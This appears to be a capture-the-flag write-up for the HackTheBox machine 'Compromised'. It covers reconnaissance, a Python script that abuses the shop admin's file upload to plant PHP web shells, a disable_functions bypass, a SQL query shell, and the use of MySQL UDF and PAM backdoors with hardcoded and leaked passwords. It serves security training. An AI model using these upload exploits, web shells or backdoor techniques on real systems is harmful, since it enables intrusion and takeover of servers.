HackTheBox Compromised - Writeup
| OS: | Linux |
| Release Date: | 09/12/2020 19:00 PM |
| Points: | 40 |
| Difficulty: | Medium |
~ User Part
Starting with a nmap scan, we see the usual two ports open, as on many other machines:
| ssh-hostkey:
| 2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
| 256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_ 256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: FD8AFB6FFE392F9ED98CC0B1B37B9A5D
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://10.129.11.34/shop/en/
/shop/admin,
where credentials are required. Performing a gobuster scan, we find another directory called backup:
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.207/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/14 14:39:47 Starting gobuster
===============================================================
/backup (Status: 301)
/shop (Status: 301)
/. (Status: 302)
(...)
===============================================================
2020/09/14 14:39:53 Finished
The backup directory holds a tar archive with a backup of the web shop. Unpacking it and analysing the files, we find two things:
shop/includes/library/lib_user.inc.php: //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $username . " Passwd: " . $password);
(...)
curl:
def upload_file(session, url, token, name, content):
files = {
'vqmod': (name, content, "application/xml"),
'token': token,
'upload': (None,"Upload")
}
res = session.post(url + "?app=vqmods&doc=vqmods", files=files)
if res.status_code != 200:
print("[-] Error uploading file")
return False
return url + ("" if url.endswith("/") else "/") + "../vqmod/xml/" + name
session = requests.Session()
token = login(session, url, user, password)
payload = "<?php echo file_get_contents('/etc/php/7.2/apache2/php.ini'); echo phpversion();"
file_url = upload_file(session, url, token, "debug.php", payload)
print(session.get(file_url).text)disable_functions.
But the leaked php version 7.2.24-0ubuntu0.18.04.6 seems to be vulnerable to a bypass we found online.
We adapt this script to execute commands passed in GET parameters and upload the file:
<?php
pwn($_REQUEST['c']);
function pwn($cmd) {
(...)
}exploit.py:(...)
payload = open('payload.php','r').read()
file_url = upload_file(session, url, token, "shell.php", payload)
print(file_url + '?c=')/etc/passwd file, we can see,
that the user mysql has a shell, which is very unusual:
We can also find the mysql connection config in either the backup files or the live website (/shop/includes/config.inc.php). We need them for the next enumeration step: analyzing the mysql server. For this, we upload another php file, which will execute sql queries easily:
sql.php:<?php
error_reporting(E_ALL);
$link = mysqli_connect("localhost", "root", "changethis", "mysql");
if (!$link) {
die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")");
}
$res = mysqli_query($link, $_REQUEST["query"]);
if (!$res) {
die("Error executing query: " . mysqli_error($link));
}
while ($row = $res->fetch_assoc()) {
var_dump($row);
}
mysqli_close($link);Now running some queries we can find some kind of backdoor:
["name"]=>
string(8) "exec_cmd"
["ret"]=>
string(1) "0"
["dl"]=>
string(11) "libmysql.so"
["type"]=>
string(8) "function"
}
SELECT exec_cmd(str) query.
We are now able to write a public key, but note, that we have to upload the authorized_keys file
with the previous RCE first, so that we can copy it via the mysql backdoor:
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
(...)
The found password can be used to log in to user sysadmin, and we are able to read the user flag:
# Root Part
For the root part, we first try to find some recently modified files using the find command. The needed file is well hidden, so I only focus on the file
2020-08-31 03:25:17.455991685 +0000 /lib/x86_64-linux-gnu/security/.pam_unix.so
(...)
pam_unix.so, which really seems to be exactly the same, when looking at the md5sums.
We download the file using scp and inspect it with Ghidra. Doing some short analysis, we find something strange in the generated
C-Code of pam_sm_authenticate:
(...)
char backdoor [15];
(...)
backdoor._0_8_ = 0x4533557e656b6c7a;
backdoor._8_7_ = 0x2d326d3238766e;
iVar2 = strcmp((char *)p,backdoor);
if (iVar2 != 0) {
iVar2 = _unix_verify_password(pamh,name,(char *)p,ctrl);
}It seems, that we have found another backdoor, which allows access via a hardcoded password to any user. Decoding the hex-strings and reverse both of them, as the binary is little-endian, we get the following password, which we can use to log in to root and grab the flag:
+ Additional Notes
As the machine name already tells us, it showed a lot of possible backdoors, which includes:
- php backdoor using system()
- mysql backdoor using User-Defined Functions (UDF)
- pam backdoor using a modified shared object file (.so)